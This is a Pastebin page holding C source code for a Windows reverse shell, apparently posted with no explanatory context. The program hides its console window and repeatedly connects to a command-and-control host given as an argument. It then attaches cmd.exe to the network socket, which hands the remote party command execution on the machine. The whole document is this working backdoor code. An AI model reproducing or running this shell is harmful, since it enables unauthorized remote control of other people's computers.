Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <winsock2.h>
- #include <windows.h>
- #include <ws2tcpip.h>
- #pragma comment(lib, "Ws2_32.lib")
- #define DEFAULT_BUFLEN 1024
- void RunShell(char host[], int port) {
- while(true) {
- Sleep(5000); // 1000 = One Second
- SOCKET mySocket;
- sockaddr_in addr;
- WSADATA version;
- WSAStartup(MAKEWORD(2,2), &version);
- mySocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
- addr.sin_family = AF_INET;
- addr.sin_addr.s_addr = inet_addr(host); //IP received from main function
- addr.sin_port = htons(port); //Port received from main function
- //Connecting to Proxy/ProxyIP/C2Host
- if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL)==SOCKET_ERROR) {
- closesocket(mySocket);
- WSACleanup();
- continue;
- }
- else {
- char RecvData[DEFAULT_BUFLEN];
- memset(RecvData, 0, sizeof(RecvData));
- int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
- if (RecvCode <= 0) {
- closesocket(mySocket);
- WSACleanup();
- continue;
- }
- else {
- char Process[] = "cmd.exe";
- STARTUPINFO sinfo;
- PROCESS_INFORMATION pinfo;
- memset(&sinfo, 0, sizeof(sinfo));
- sinfo.cb = sizeof(sinfo);
- sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
- sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
- CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
- WaitForSingleObject(pinfo.hProcess, INFINITE);
- CloseHandle(pinfo.hProcess);
- CloseHandle(pinfo.hThread);
- memset(RecvData, 0, sizeof(RecvData));
- int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
- if (RecvCode <= 0) {
- closesocket(mySocket);
- WSACleanup();
- continue;
- }
- if (strcmp(RecvData, "exit\n") == 0) {
- exit(0);
- }
- }
- }
- }
- }
- //-----------------------------------------------------------
- //-----------------------------------------------------------
- //----------------------------------------------------------
- int main(int argc, char **argv) {
- FreeConsole();
- if (argc == 3) {
- int port = atoi(argv[2]); //Converting port in Char datatype to Intege$
- RunShell(argv[1], port);
- }
- else {
- char host[] = "192.168.56.130";
- int port = 8080;
- }
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement